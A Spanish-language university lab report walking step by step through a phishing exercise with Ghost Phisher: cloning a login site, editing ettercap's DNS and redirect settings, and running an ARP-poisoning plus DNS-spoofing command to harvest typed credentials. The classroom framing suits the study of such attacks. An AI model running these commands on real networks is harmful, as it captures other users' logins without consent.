**Práctica Ghost Phisher**

3 de marzo de 2017

Daniel Alejandro Osorio Rodríguez A01331173

A01331173@itesm.mx

**Objetivo**

El objetivo de esta práctica es realizar un ataque de phishing utilizando la herramienta Ghost Phisher.

**Requerimientos**

Para esta práctica es necesario tener instalado Linux (Kali, Ubuntu, Backtrack, etc.) en esta ocasión usaremos Kali, tener una tarjeta de red o estar conectado a la red vía ethernet, tener instalado ghost phisher y ettercap.

**Desarrollo de Práctica**

1. Abre la terminal y escribe **ghost-phisher**
2. Dirígete a la pestaña de **Fake HTTP Server**
3. En la parte de “**Clone Website**” escribe la siguiente url: <http://www.aavtrain.com>
4. Consulta la IP del sitio a través de la terminal, abriendo una nueva terminal y mandándole un ping al sitio. Ejemplo: **ping** aavtrain.com
5. Copia la IP del sitio y la pegamos en la parte de Real **Website IP Adress or Url**. Ejemplo: 45.40.164.136
6. Abre la terminal y escribe **cd /etc/ettercap/** después escribe **ls** y debes de contar con 4 archivos: etter.conf | etter.dns | etter.mdns | etter.nbns
7. Ahora escribe **gedit etter.conf** y en la sección de **Linux** descomenta las siguientes líneas después salva los cambios.

|  |  |
| --- | --- |
| # if you use iptables: | |
| **descomenta** | redir\_command\_on = "iptables -t nat -A PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" |
| **descomenta** | redir\_command\_off = "iptables -t nat -D PREROUTING -i %iface -p tcp --dport %port -j REDIRECT --to-port %rport" |

1. Después escribe **gedit etter.dns** y en la línea: #microsoft sucks ;) vienen estas líneas:

|  |  |
| --- | --- |
| microsoft.com      A   107.170.40.56 1800 | |
|  | \*.microsoft.com    A   107.170.40.56 3600 |
|  | www.microsoft.com  PTR 107.170.40.56      # Wildcards in PTR are not allowed |

Sustituye toda la palabra **microsoft** por la del sitio **aavtrain** y en la parte de las IP las sustituye con tu inet (terminal: **ifconfig**), enseguida salva los cambios realizados.

1. Regresa a ghost phisher a la pestaña de Fake HTTP Server con nuestra configuración previa y dale **start**
2. Abre una nueva terminal y escribe: **ettercap –T –q –i eth0 –P dns\_spoof –M arp ///**
3. Abre tu explorador y escribe http://www.aavtrain.com
4. Inventa un username y un password, después dale clic en submit
5. Regresa a ghost phisher y ve a la pestaña de **Harvested Credentials** y ahí te aparecerá el username y password que tecleaste en la página de login del sitio.